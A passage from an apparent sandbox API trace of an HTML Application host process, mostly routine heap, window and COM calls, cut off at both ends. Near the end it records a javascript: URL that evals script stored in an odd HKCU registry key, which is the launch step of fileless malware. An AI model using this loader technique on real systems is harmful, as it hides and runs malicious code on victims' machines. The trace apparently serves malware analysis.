| out: hHeap=0x4a0000) returned 1 [0030.538] IUnknown:Release (This=0x4cc68c) returned 0x15 [0030.538] IUnknown:Release (This=0x4cc68c) returned 0x14 [0030.538] IUnknown:Release (This=0x4cc68c) returned 0x13 [0030.538] IUnknown:Release (This=0x4b0638) returned 0x2 [0030.538] IUnknown:Release (This=0x4cc68c) returned 0x12 [0030.538] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0030.538] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0030.538] CoTaskMemFree (pv=0x4ccd40) [0030.538] CoTaskMemFree (pv=0x0) [0030.538] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0030.538] IUnknown:Release (This=0x4cc68c) returned 0x11 [0030.538] CoTaskMemFree (pv=0x4ccc68) [0030.538] GetClientRect (in: hWnd=0x700b6, lpRect=0x3cfc1c | out: lpRect=0x3cfc1c) returned 1 [0030.538] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x78) returned 0x4b1980 [0030.538] GetClientRect (in: hWnd=0x700b6, lpRect=0x4b19ac | out: lpRect=0x4b19ac) returned 1 [0030.538] OffsetRect (in: lprc=0x4b19ac, dx=0, dy=0 | out: lprc=0x4b19ac) returned 1 [0030.539] OffsetRect (in: lprc=0x4b19bc, dx=0, dy=0 | out: lprc=0x4b19bc) returned 1 [0030.539] RegisterClassExW (param_1=0x3cf738) returned 0xc096 [0030.539] CoCreateInstance (in: rclsid=0x7349bf70*(Data1=0x50d5107a, Data2=0xd278, Data3=0x4871, Data4=([0]=0x89, [1]=0x89, [2]=0xf4, [3]=0xce, [4]=0xaa, [5]=0xf5, [6]=0x9c, [7]=0xfc)), pUnkOuter=0x0, dwClsContext=0x401, riid=0x7349bf60*(Data1=0x8c0e040, Data2=0x62d1, Data3=0x11d1, Data4=([0]=0x93, [1]=0x26, [2]=0x0, [3]=0x60, [4]=0xb0, [5]=0x67, [6]=0xb8, [7]=0x6e)), ppv=0x7388b020 | out: ppv=0x7388b020*=0x4d4ed8) returned 0x0 [0030.677] CActiveIMMAppEx_Trident:IActiveIMMApp:FilterClientWindows (This=0x4d4ed8, aaClassList=0x3cf830*=0xc096, uSize=0x1) returned 0x0 [0030.677] CreateWindowExW (dwExStyle=0x0, lpClassName=0xc096, lpWindowName=0x0, dwStyle=0x46000000, X=0, Y=0, nWidth=1064, nHeight=587, hWndParent=0x700b6, hMenu=0x0, hInstance=0x73350000, lpParam=0x4d21e8) returned 0x2029c [0030.677] GetWindowLongW (hWnd=0x2029c, nIndex=-20) returned 0 [0030.677] SetWindowLongW (hWnd=0x2029c, nIndex=-21, dwNewLong=5054952) returned 0 [0030.677] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x4d4ed8, hWnd=0x2029c, msg=0x81, wParam=0x0, lParam=0x3cf404*=5054952, plResult=0x3cf27c | out: plResult=0x3cf27c) returned 0x1 [0030.677] NtdllDefWindowProc_W () returned 0x1 [0030.677] GetCurrentThreadId () returned 0x664 [0030.677] GetWindowLongW (hWnd=0x2029c, nIndex=-21) returned 5054952 [0030.677] GetCurrentThreadId () returned 0x664 [0030.678] GetWindowLongW (hWnd=0x2029c, nIndex=-21) returned 5054952 [0030.678] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x4d4ed8, hWnd=0x2029c, msg=0x1, wParam=0x0, lParam=0x3cf404*=5054952, plResult=0x3cf27c | out: plResult=0x3cf27c) returned 0x1 [0030.678] NtdllDefWindowProc_W () returned 0x0 [0030.678] GetCurrentThreadId () returned 0x664 [0030.678] GetWindowLongW (hWnd=0x2029c, nIndex=-21) returned 5054952 [0030.678] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x4d4ed8, hWnd=0x2029c, msg=0x5, wParam=0x0, lParam=0x24b0428, plResult=0x3cf2c8 | out: plResult=0x3cf2c8) returned 0x1 [0030.678] NtdllDefWindowProc_W () returned 0x0 [0030.678] GetCurrentThreadId () returned 0x664 [0030.678] GetWindowLongW (hWnd=0x2029c, nIndex=-21) returned 5054952 [0030.678] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x4d4ed8, hWnd=0x2029c, msg=0x3, wParam=0x0, lParam=0x0, plResult=0x3cf2c8 | out: plResult=0x3cf2c8) returned 0x1 [0030.678] NtdllDefWindowProc_W () returned 0x0 [0030.678] GetCurrentThreadId () returned 0x664 [0030.678] NtdllDefWindowProc_W () returned 0x0 [0030.678] GetClassNameW (in: hWnd=0x700b6, lpClassName=0x3cf838, nMaxCount=256 | out: lpClassName="HTML Application Host Window Class") returned 34 [0030.678] StrCmpIW (psz1="HTML Application Host Window Class", psz2="HTMLPageDesignerWndClass") returned -1 [0030.678] CActiveIMMAppEx_Trident:IActiveIMMApp:Activate (This=0x4d4ed8, fRestoreLayout=1) returned 0x0 [0030.678] SendMessageW (hWnd=0x2029c, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0030.678] GetWindowLongW (hWnd=0x2029c, nIndex=-21) returned 5054952 [0030.678] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x4d4ed8, hWnd=0x2029c, msg=0x129, wParam=0x0, lParam=0x0, plResult=0x3cf6ec | out: plResult=0x3cf6ec) returned 0x1 [0030.678] NtdllDefWindowProc_W () returned 0x3 [0030.678] GetCurrentThreadId () returned 0x664 [0030.679] IntersectRect (in: lprcDst=0x3cfa6c, lprcSrc1=0x4b19ac, lprcSrc2=0x4b19bc | out: lprcDst=0x3cfa6c) returned 1 [0030.679] EqualRect (lprc1=0x3cfa6c, lprc2=0x4b19ac) returned 1 [0030.679] InvalidateRect (hWnd=0x2029c, lpRect=0x0, bErase=1) returned 1 [0030.679] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xf0) returned 0x4e2d68 [0030.679] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x150) returned 0x4e6698 [0030.679] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x140) returned 0x4e67f0 [0030.679] IntersectRect (in: lprcDst=0x3cf958, lprcSrc1=0x3cf958, lprcSrc2=0x3cf8f0 | out: lprcDst=0x3cf958) returned 1 [0030.679] IntersectRect (in: lprcDst=0x3cf958, lprcSrc1=0x3cf958, lprcSrc2=0x3cf8f0 | out: lprcDst=0x3cf958) returned 1 [0030.679] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x60) returned 0x4e2e60 [0030.679] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x30) returned 0x4bd980 [0030.679] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xec) returned 0x4e6938 [0030.679] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0030.679] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0030.679] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x30) returned 0x4bd9b8 [0030.679] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4e08d8 [0030.685] GetCurrentThreadId () returned 0x664 [0030.685] GetCurrentThreadId () returned 0x664 [0030.685] GetCurrentThreadId () returned 0x664 [0030.685] IntersectRect (in: lprcDst=0x3cf794, lprcSrc1=0x3cf794, lprcSrc2=0x3cf764 | out: lprcDst=0x3cf794) returned 1 [0030.685] IntersectRect (in: lprcDst=0x4e6850, lprcSrc1=0x4e6850, lprcSrc2=0x3cf784 | out: lprcDst=0x4e6850) returned 1 [0030.685] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0030.687] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x28) returned 0x4e1738 [0030.687] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e1738 | out: hHeap=0x4a0000) returned 1 [0030.687] SetWindowPos (hWnd=0x2029c, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x5f) returned 1 [0030.687] GetWindowLongW (hWnd=0x2029c, nIndex=-21) returned 5054952 [0030.687] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x4d4ed8, hWnd=0x2029c, msg=0x46, wParam=0x0, lParam=0x3cfa4c*=131740, plResult=0x3cf8e8 | out: plResult=0x3cf8e8) returned 0x1 [0030.687] NtdllDefWindowProc_W () returned 0x0 [0030.687] GetCurrentThreadId () returned 0x664 [0030.687] GetWindowLongW (hWnd=0x2029c, nIndex=-21) returned 5054952 [0030.687] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x4d4ed8, hWnd=0x2029c, msg=0x47, wParam=0x0, lParam=0x3cfa4c*=131740, plResult=0x3cf8e4 | out: plResult=0x3cf8e4) returned 0x1 [0030.687] NtdllDefWindowProc_W () returned 0x0 [0030.688] GetCurrentThreadId () returned 0x664 [0030.688] SetTimer (hWnd=0x2029c, nIDEvent=0x1000, uElapse=0x64, lpTimerFunc=0x0) returned 0x1000 [0030.688] GetFocus () returned 0x0 [0030.688] EnumChildWindows (hWndParent=0x2029c, lpEnumFunc=0x73670a73, lParam=0x3cf944) returned 0 [0030.690] GetFocus () returned 0x0 [0030.690] SetFocus (hWnd=0x2029c) returned 0x0 [0030.693] NtdllDefWindowProc_W () returned 0x0 [0030.693] NtdllDefWindowProc_W () returned 0x0 [0030.694] NtdllDefWindowProc_W () returned 0x0 [0030.694] NtdllDefWindowProc_W () returned 0x0 [0030.694] NtdllDefWindowProc_W () returned 0x0 [0030.694] NtdllDefWindowProc_W () returned 0x0 [0030.694] NtdllDefWindowProc_W () returned 0x0 [0030.695] NtdllDefWindowProc_W () returned 0x0 [0030.695] NtdllDefWindowProc_W () returned 0x0 [0030.695] NtdllDefWindowProc_W () returned 0x0 [0030.695] NtdllDefWindowProc_W () returned 0x1 [0030.695] NtdllDefWindowProc_W () returned 0x0 [0030.697] NtdllDefWindowProc_W () returned 0x0 [0030.964] GetWindowLongW (hWnd=0x2029c, nIndex=-21) returned 5054952 [0030.964] LoadLibraryA (lpLibFileName="OLEACC.DLL") returned 0x74210000 [0030.967] GetProcAddress (hModule=0x74210000, lpProcName="LresultFromObject") returned 0x74212663 [0030.967] LresultFromObject () returned 0xc13f [0031.463] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x14) returned 0x4e3750 [0031.465] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x28) returned 0x4e1828 [0031.473] GetCurrentThreadId () returned 0x664 [0031.477] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e3750 | out: hHeap=0x4a0000) returned 1 [0031.478] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x60) returned 0x4ecb78 [0031.478] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x14) returned 0x4e3750 [0031.478] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40) returned 0x4ee120 [0031.478] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4ecb78 | out: hHeap=0x4a0000) returned 1 [0031.479] IUnknown:QueryInterface (in: This=0x4d3e14, riid=0x74f021d8*(Data1=0xb196b284, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x3cf1f8 | out: ppvObject=0x3cf1f8*=0x4ecb78) returned 0x0 [0031.479] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x60) returned 0x4ecb78 [0031.479] IConnectionPointContainer:FindConnectionPoint (in: This=0x4ecb78, riid=0x74f021b8*(Data1=0x3050f625, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), ppCP=0x3cf210 | out: ppCP=0x3cf210*=0x4ecba0) returned 0x0 [0031.479] IConnectionPoint:Advise (in: This=0x4ecba0, pUnkSink=0x4f8428, pdwCookie=0x4f8440 | out: pdwCookie=0x4f8440*=0x4f8428) returned 0x0 [0031.479] IUnknown:QueryInterface (in: This=0x4f8428, riid=0x7335a638*(Data1=0x3050f625, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), ppvObject=0x3cf1b4 | out: ppvObject=0x3cf1b4*=0x4f8428) returned 0x0 [0031.479] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x14) returned 0x4e3770 [0031.479] IUnknown:AddRef (This=0x4f8428) returned 0x3 [0031.479] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40) returned 0x4ee168 [0031.480] IUnknown:Release (This=0x4f8428) returned 0x2 [0031.480] IUnknown:Release (This=0x4ecba0) returned 0x0 [0031.480] IUnknown:Release (This=0x4ecb78) returned 0x0 [0031.480] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4ecb78 | out: hHeap=0x4a0000) returned 1 [0031.480] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x28) returned 0x4e18b8 [0031.480] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x48) returned 0x4e9d50 [0031.480] GetWindowLongW (hWnd=0x2029c, nIndex=-21) returned 5054952 [0031.481] GetMessageTime () returned 0 [0031.481] GetMessagePos () returned 0x0 [0031.481] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x4d4ed8, hWnd=0x2029c, msg=0x281, wParam=0x1, lParam=0xc000000f, plResult=0x3cf30c | out: plResult=0x3cf30c) returned 0x0 [0031.484] GetWindowLongW (hWnd=0x2029c, nIndex=-21) returned 5054952 [0031.484] GetMessageTime () returned 0 [0031.484] GetMessagePos () returned 0x0 [0031.484] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x4d4ed8, hWnd=0x2029c, msg=0x282, wParam=0x2, lParam=0x0, plResult=0x3ced3c | out: plResult=0x3ced3c) returned 0x0 [0031.484] GetCurrentThreadId () returned 0x664 [0031.484] GetCurrentThreadId () returned 0x664 [0031.484] GetWindowLongW (hWnd=0x2029c, nIndex=-21) returned 5054952 [0031.484] GetMessageTime () returned 0 [0031.484] GetMessagePos () returned 0x0 [0031.484] ScreenToClient (in: hWnd=0x2029c, lpPoint=0x3cf4c0 | out: lpPoint=0x3cf4c0) returned 1 [0031.485] ScreenToClient (in: hWnd=0x2029c, lpPoint=0x3cf4c0 | out: lpPoint=0x3cf4c0) returned 1 [0031.485] GetCapture () returned 0x0 [0031.485] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x30) returned 0x4e87e8 [0031.485] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x28) returned 0x4e18e8 [0031.485] IUnknown:AddRef (This=0x4f8428) returned 0x5 [0031.485] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4eb260 [0031.485] HTMLWindowEvents2:onresize (This=0x4f8428, pEvtObj=0x418) [0031.485] IUnknown:Release (This=0x4f8428) returned 0x4 [0031.485] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4eb260 | out: hHeap=0x4a0000) returned 1 [0031.485] GetCurrentThreadId () returned 0x664 [0031.485] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e87e8 | out: hHeap=0x4a0000) returned 1 [0031.486] GetCurrentThreadId () returned 0x664 [0031.486] GetCurrentThreadId () returned 0x664 [0031.486] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x4d4ed8, hWnd=0x2029c, msg=0x7, wParam=0x0, lParam=0x0, plResult=0x3cf6fc | out: plResult=0x3cf6fc) returned 0x1 [0031.486] NtdllDefWindowProc_W () returned 0x0 [0031.486] GetCurrentThreadId () returned 0x664 [0031.486] CActiveIMMAppEx_Trident:IActiveIMMApp:getContext (in: This=0x4d4ed8, hWnd=0x2029c, phIMC=0x3cfa24 | out: phIMC=0x3cfa24*=0x5023f) returned 0x0 [0031.486] CActiveIMMAppEx_Trident:IActiveIMMApp:AssociateContext (in: This=0x4d4ed8, hWnd=0x2029c, hIME=0x0, phPrev=0x3cfa24 | out: phPrev=0x3cfa24*=0x5023f) returned 0x0 [0031.486] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x60) returned 0x4ecb78 [0031.486] IConnectionPointContainer:FindConnectionPoint (in: This=0x4ecb78, riid=0x74f021c8*(Data1=0x3050f613, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), ppCP=0x3cf894 | out: ppCP=0x3cf894*=0x4ecb98) returned 0x0 [0031.486] IConnectionPoint:Unadvise (This=0x4ecb98, dwCookie=0x4f8428) returned 0x0 [0031.486] IUnknown:AddRef (This=0x4f8428) returned 0x5 [0031.486] IUnknown:Release (This=0x4f8428) returned 0x4 [0031.486] IUnknown:Release (This=0x4f8428) returned 0x3 [0031.486] IUnknown:Release (This=0x4ecb98) returned 0x0 [0031.486] IUnknown:Release (This=0x4ecb78) returned 0x0 [0031.486] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4ecb78 | out: hHeap=0x4a0000) returned 1 [0031.486] IUnknown:QueryInterface (in: This=0x4d3e14, riid=0x74f021d8*(Data1=0xb196b284, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x3cf88c | out: ppvObject=0x3cf88c*=0x4ecb78) returned 0x0 [0031.486] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x60) returned 0x4ecb78 [0031.486] IConnectionPointContainer:FindConnectionPoint (in: This=0x4ecb78, riid=0x74f021b8*(Data1=0x3050f625, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), ppCP=0x3cf890 | out: ppCP=0x3cf890*=0x4ecba0) returned 0x0 [0031.487] IConnectionPoint:Unadvise (This=0x4ecba0, dwCookie=0x4f8428) returned 0x0 [0031.487] IUnknown:AddRef (This=0x4f8428) returned 0x4 [0031.487] IUnknown:Release (This=0x4f8428) returned 0x3 [0031.487] IUnknown:Release (This=0x4f8428) returned 0x2 [0031.487] IUnknown:Release (This=0x4ecba0) returned 0x0 [0031.487] IUnknown:Release (This=0x4ecb78) returned 0x0 [0031.487] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4ecb78 | out: hHeap=0x4a0000) returned 1 [0031.487] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e18e8 | out: hHeap=0x4a0000) returned 1 [0031.487] IUnknown:Release (This=0x4d3e14) returned 0x3 [0031.487] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e18b8 | out: hHeap=0x4a0000) returned 1 [0031.487] GetWindowLongW (hWnd=0x2029c, nIndex=-21) returned 5054952 [0031.487] GetMessageTime () returned 0 [0031.487] GetMessagePos () returned 0x0 [0031.487] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x4d4ed8, hWnd=0x2029c, msg=0x281, wParam=0x0, lParam=0xc000000f, plResult=0x3cf70c | out: plResult=0x3cf70c) returned 0x0 [0031.487] GetCurrentThreadId () returned 0x664 [0031.488] GetWindowLongW (hWnd=0x2029c, nIndex=-21) returned 5054952 [0031.488] GetMessageTime () returned 0 [0031.488] GetMessagePos () returned 0x0 [0031.488] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x4d4ed8, hWnd=0x2029c, msg=0x281, wParam=0x1, lParam=0xc000000f, plResult=0x3cf70c | out: plResult=0x3cf70c) returned 0x0 [0031.488] GetCurrentThreadId () returned 0x664 [0031.488] IsOS (dwOS=0x25) returned 1 [0031.488] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf918 | out: phkResult=0x3cf918*=0x1e8) returned 0x0 [0031.488] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf91c | out: phkResult=0x3cf91c*=0x1ec) returned 0x0 [0031.488] RegOpenKeyExW (in: hKey=0x1ec, lpSubKey="FEATURE_MSHTML_AUTOLOAD_IEFRAME", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf8d8 | out: phkResult=0x3cf8d8*=0x0) returned 0x2 [0031.489] RegOpenKeyExW (in: hKey=0x1e8, lpSubKey="FEATURE_MSHTML_AUTOLOAD_IEFRAME", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf8d8 | out: phkResult=0x3cf8d8*=0x1f0) returned 0x0 [0031.489] SHRegGetValueW () returned 0x0 [0031.489] RegCloseKey (hKey=0x1f0) returned 0x0 [0031.489] RegCloseKey (hKey=0x0) returned 0x6 [0031.489] RegCloseKey (hKey=0x0) returned 0x6 [0031.489] RegCloseKey (hKey=0x1e8) returned 0x0 [0031.489] RegCloseKey (hKey=0x1ec) returned 0x0 [0031.489] LoadLibraryW (lpLibFileName="ieframe.dll") returned 0x72760000 [0032.632] GetVersionExW (in: lpVersionInformation=0x3cf424*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x3cf424*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0032.632] LoadLibraryExW (lpLibFileName="ieframe.dll", hFile=0x0, dwFlags=0x22) returned 0x72760000 [0032.632] LoadStringW (in: hInstance=0x72760000, uID=0xb5, lpBuffer=0x3cf9a0, cchBufferMax=46 | out: lpBuffer="HTML Document") returned 0xd [0032.819] LoadStringW (in: hInstance=0x72760000, uID=0xb5, lpBuffer=0x3cfa00, cchBufferMax=46 | out: lpBuffer="HTML Document") returned 0xd [0032.819] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x28) returned 0x4e18b8 [0032.819] LoadStringW (in: hInstance=0x72760000, uID=0xb5, lpBuffer=0x3cf9ec, cchBufferMax=46 | out: lpBuffer="HTML Document") returned 0xd [0032.820] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bd7f8, Size=0x48) returned 0x4e9da0 [0032.820] ShowWindow (hWnd=0x2029c, nCmdShow=1) returned 1 [0032.820] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4cf378 | out: hHeap=0x4a0000) returned 1 [0032.820] GetMessageW (in: lpMsg=0x3cfc5c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3cfc5c) returned 1 [0032.820] TranslateMessage (lpMsg=0x3cfc5c) returned 0 [0032.820] DispatchMessageW (lpMsg=0x3cfc5c) returned 0x0 [0032.820] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4cf378 [0032.820] RegisterDragDrop (hwnd=0x2029c, pDropTarget=0x738896cc) returned 0x0 [0032.821] GetCurrentThreadId () returned 0x664 [0032.821] GetCurrentThreadId () returned 0x664 [0032.821] GetCurrentThreadId () returned 0x664 [0032.821] GetCurrentThreadId () returned 0x664 [0032.821] GetMessageW (in: lpMsg=0x3cfc5c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3cfc5c) returned 1 [0032.821] TranslateMessage (lpMsg=0x3cfc5c) returned 0 [0032.821] DispatchMessageW (lpMsg=0x3cfc5c) returned 0x0 [0032.821] IInternetProtocolRoot:Continue (This=0x4e29cc, pProtocolData=0x4bd8d8) returned 0x80004004 [0032.821] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x1a) returned 0x4f8c38 [0032.821] ParseURLW (in: pcszURL="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", ppu=0x3cfa58 | out: ppu=0x3cfa58) returned 0x0 [0032.821] IUnknown:QueryInterface (in: This=0x4e1518, riid=0x7352b940*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x3cf94c | out: ppvObject=0x3cf94c*=0x0) returned 0x80004002 [0032.821] IServiceProvider:QueryService (in: This=0x4e151c, guidService=0x7352b940*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), riid=0x7352b940*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x3cf94c | out: ppvObject=0x3cf94c*=0x4d3cc4) returned 0x0 [0032.821] GetCurrentThreadId () returned 0x664 [0032.822] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cfa00 | out: phkResult=0x3cfa00*=0x21c) returned 0x0 [0032.822] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cfa04 | out: phkResult=0x3cfa04*=0x220) returned 0x0 [0032.822] RegOpenKeyExW (in: hKey=0x220, lpSubKey="FEATURE_SCRIPTURL_MITIGATION", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf9c0 | out: phkResult=0x3cf9c0*=0x0) returned 0x2 [0032.822] RegOpenKeyExW (in: hKey=0x21c, lpSubKey="FEATURE_SCRIPTURL_MITIGATION", ulOptions=0x0, samDesired=0x1, phkResult=0x3cf9c0 | out: phkResult=0x3cf9c0*=0x0) returned 0x2 [0032.822] RegCloseKey (hKey=0x0) returned 0x6 [0032.822] RegCloseKey (hKey=0x0) returned 0x6 [0032.822] RegCloseKey (hKey=0x21c) returned 0x0 [0032.822] RegCloseKey (hKey=0x220) returned 0x0 [0032.822] StrToIntW (lpSrc="5066176") returned 5066176 [0032.823] CoTaskMemFree (pv=0x4bd7f8) [0032.823] IUnknown:AddRef (This=0x4cbe1c) returned 0x4 [0032.823] IInternetSecurityManager:MapUrlToZone (in: This=0x738896bc, pwszUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", pdwZone=0x3cf9f4, dwFlags=0x0 | out: pdwZone=0x3cf9f4*=0xffffffff) returned 0x800c0011 [0032.823] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0032.823] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0032.823] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0032.823] IInternetSecurityManager:ProcessUrlAction (in: This=0x738896bc, pwszUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();", dwAction=0x1400, pPolicy=0x3cf9f8, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x3cf9f8*=0x0) returned 0x0 [0032.823] IUnknown:Release (This=0x4cbe1c) returned 0x3 [0032.823] CoCreateInstance (in: rclsid=0x3cf9ac*(Data1=0xf414c260, Data2=0x6ac0, Data3=0x11cf, Data4=([0]=0xb6, [1]=0xd1, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbb, [6]=0xbb, [7]=0x58)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x734a95b4*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppv=0x3cf968 | out: ppv=0x3cf968*=0x2e80048) returned 0x0 [0032.835] malloc (_Size=0x80) returned 0x6fdbb0 [0032.835] GetVersion () returned 0x1db10106 [0032.835] __dllonexit () returned 0x73f27ecf [0032.843] __dllonexit () returned 0x73f27e9b [0032.843] __dllonexit () returned 0x73f27eb5 [0032.843] __dllonexit () returned 0x73f27f70 [0032.843] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", 